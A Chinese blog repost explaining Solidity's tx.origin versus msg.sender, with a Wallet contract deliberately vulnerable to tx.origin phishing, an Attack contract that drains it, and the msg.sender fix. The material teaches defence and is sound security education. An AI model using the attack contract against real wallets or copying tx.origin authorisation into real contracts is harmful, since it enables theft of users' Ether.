tx.origin 与 msg.sender

这篇具有很好参考价值的文章主要介绍了tx.origin 与 msg.sender。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

我最近一直在玩ethernaut web3/solidity 游戏,在第 4 级上,我浪费了几分钟来了解 tx.origin 和 msg.sender 之间的区别,它们在solidity 中构建全局变量。

根据solidity文档,tx.origin 保存交易发送者的地址,msg.sender 保存消息发送者的地址。那么这到底是什么意思呢?

msg.sender:指直接调用智能合约函数的账户地址或智能合约地址。

tx.origin:指调用智能合约函数的账户地址,只有账户地址可以是tx.origin。

一张图片胜过千言万语

tx.origin,区块链,区块链

您可能会注意到,账户地址和智能合约地址都可以是 msg.sender 但 tx.origin 将始终是账户/钱包地址。

强烈建议始终使用 msg.sender 进行授权或检查调用智能合约的地址。并且永远不要使用 tx.origin 进行授权,因为这可能会使合约容易受到网络钓鱼攻击。

THORChain最近损失了 800 万美元,是的,由于tx.origin 的滥用,在一次攻击中损失了 800 万美元,请务必仔细检查 tx.origin 是如何在智能合约中使用的,再见👋。

使用 tx.origin 进行网络钓鱼

msg.sender和有什么区别tx.origin?

如果合约 A 调用 B,B 调用 C,则在 Cmsg.sender中是 B,并且tx.origin是 A。

漏洞

恶意合约可以欺骗合约所有者调用只有所有者才能调用的函数。

 
 
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; /* Wallet is a simple contract where only the owner should be able to transfer Ether to another address. Wallet.transfer() uses tx.origin to check that the caller is the owner. Let's see how we can hack this contract */ /* 1. Alice deploys Wallet with 10 Ether 2. Eve deploys Attack with the address of Alice's Wallet contract. 3. Eve tricks Alice to call Attack.attack() 4. Eve successfully stole Ether from Alice's wallet What happened? Alice was tricked into calling Attack.attack(). Inside Attack.attack(), it requested a transfer of all funds in Alice's wallet to Eve's address. Since tx.origin in Wallet.transfer() is equal to Alice's address, it authorized the transfer. The wallet transferred all Ether to Eve. */ contract Wallet { address public owner; constructor() payable { owner = msg.sender; } function transfer(address payable _to, uint _amount) public { require(tx.origin == owner, "Not owner"); (bool sent, ) = _to.call{value: _amount}(""); require(sent, "Failed to send Ether"); } } contract Attack { address payable public owner; Wallet wallet; constructor(Wallet _wallet) { wallet = Wallet(_wallet); owner = payable(msg.sender); } function attack() public { wallet.transfer(owner, address(wallet).balance); } }

预防技术

使用msg.sender代替tx.origin

 
 
function transfer(address payable _to, uint256 _amount) public { require(msg.sender == owner, "Not owner"); (bool sent, ) = _to.call{ value: _amount }(""); require(sent, "Failed to send Ether"); }

参考

https://medium.com/@nicolezhu/ethernaut-lvl-4-walkthrough-how-to-abuse-tx-origin-msg-sender-ef37d6751c8文章来源地址https://www.toymoban.com/news/detail-785886.html

到了这里,关于tx.origin 与 msg.sender的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • solidity开发 msg.value

    刚学完solidity的基础开发,想写一个众筹项目,在使用msg.value的时候,发现只要函数中使用到msg.value,就会自动转走账户的钱到该合约账户里。这让我非常疑惑,那怎么转出来呢?我写了一个demo来测试。 测试结果是:当我调用transfer()时,会扣除sender的eth,转到当前合约账户

    2024年02月11日
    浏览(35)
  • MSG3D

    论文在stgcn与sta-lstm基础上做的。下面讲一下里面的方法: 1.准备工作 符号。这里是对符号进行解释。 一个人体骨骼图被记为G=(v,E) 图卷积: 图卷积定义 考虑一种常用于处理图像的标准卷积神经网络 (CNN)。输入是像素网格。每个像素都有一个数据值向量,例如红色、绿色和蓝

    2024年01月23日
    浏览(18)
  • solidity-msg.sender到底是什么?

    msg.sender: 当前钱包的发起方。 msg是全局的,msg.sender是全局变量。 from 就是 account ,发起消息的钱包地址, 永远等于msg.sender 测试代码: 部署Test合约(地址5b…)去测试那些属性和函数返回值,切换到另一个account(4b…),再测试那些属性和函数返回值。 运行结果: 切换

    2024年02月11日
    浏览(33)
  • solidity msg.sender.transfer发送给谁

    发送给调用者自己,表示将该合约中的自己应有的以太坊退款到发送者自己的账户 address.transfer(amount) 转账一定数量(以wei为单位)的以太币到指定的地址,遇到任何错误都将抛出异常。我们在Faucet例子中使用过这个方法,针对的是msg.sender这个地址,即msg.sender.transfer 精通以

    2024年02月11日
    浏览(34)
  • 【玩转Jetson TX2 NX】(二)TX2 NX刷机+烧录系统和SDK(详细教程+错误解决)

    Jetson TX2 NX 刷机需要Ubuntu系统电脑,本文直接在安装虚拟机的笔记本电脑进行: 【玩转Jetson TX2 NX】(一)win10安装VMware14 Workstation Pro创建Ubuntu18.04虚拟环境(详细教程+错误解决) 跳线帽连接到 FC REC 和 GND 引脚,Jetson TX2 NX 进入系统 REC 刷机模式,如图所示: 连接线路,将 HDM

    2024年02月03日
    浏览(41)
  • {“code“:“40002“,“msg“:“Invalid Arguments“,“sub_code“:“isv.invalid-app-id“,“sub_msg“:“ 无效的AppID参数“}

    python项目对接支付宝沙箱报错alipay.exceptions.AliPayException: AliPayException: code:40002, message:{“alipay_trade_query_r esponse”:{“code”:“40002”,“msg”:“Invalid Arguments”,“sub_code”:“isv.invalid-app-id”,“sub_msg”:\\\" 无效的AppID参数\\\"}} 传入的AppID无效,有一种可能是,你使用的是沙箱环境,但

    2024年02月16日
    浏览(33)
  • FPGA:uart原理+tx发送模块

    处理器与外部设备通信的两种方式: 串行通信: 指数据的各个位使用多条数据线同时进行传输。 并行通信: 将数据分成一位一位的形式在一条数据线上逐个传输。 串行通信的通信方式: 同步通信: 带时钟同步信号的数据传输,发送方和接收方在同一时钟控制下,同步传输

    2024年02月12日
    浏览(25)
  • PX4与TX2通信

    PX4与TX2通信以及相关数据的获取 目录  1. PX4硬件接口 2. TELEM1、2接口线序 3.  PX4与TX2通信  PX4 IO口定义:   PX4硬件: 4. 通信测试 5. RTPS+ROS Jetson TX2终端:  pixhawk: 6. 提高IMU数据发布频率  方法一:通过mavros包话题订阅频率  方法二:更改PX4启动文件 7. GPS数据获取     PX4是

    2024年02月14日
    浏览(24)
  • 无线AP打流-TX、RX环境部署

                     PC2打开endpoint         PC1打开ixchariot         创建流:  然后,我们编辑脚本:  我们可以看到,是endpoint 1为发送端,endpoint 2为接收端。   也就是192.168.2.44为发送端,192.168.7.6为接收端 此时我们不用做任何修改,直接关闭脚本,点击保存。 然

    2024年02月09日
    浏览(28)
  • PCIe_TX/RX测试步骤

    TX测试 一:  GEN1、2、3采用自动化测试: 1. 点击infinum软件中Analyze-Automated Test Apps-D9050PCIC PCIExpress Gen5 Test App,进入自动化测试界面;   2. Set Up窗口:PCIE5.0-CEM-End Point Tests-Device Definition-勾选5G的-3.5dB-6dB-选择8G的P0 3. Select Test界面将Device Definition设置的测试项全部勾选: 4. Run界面

    2024年02月02日
    浏览(22)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包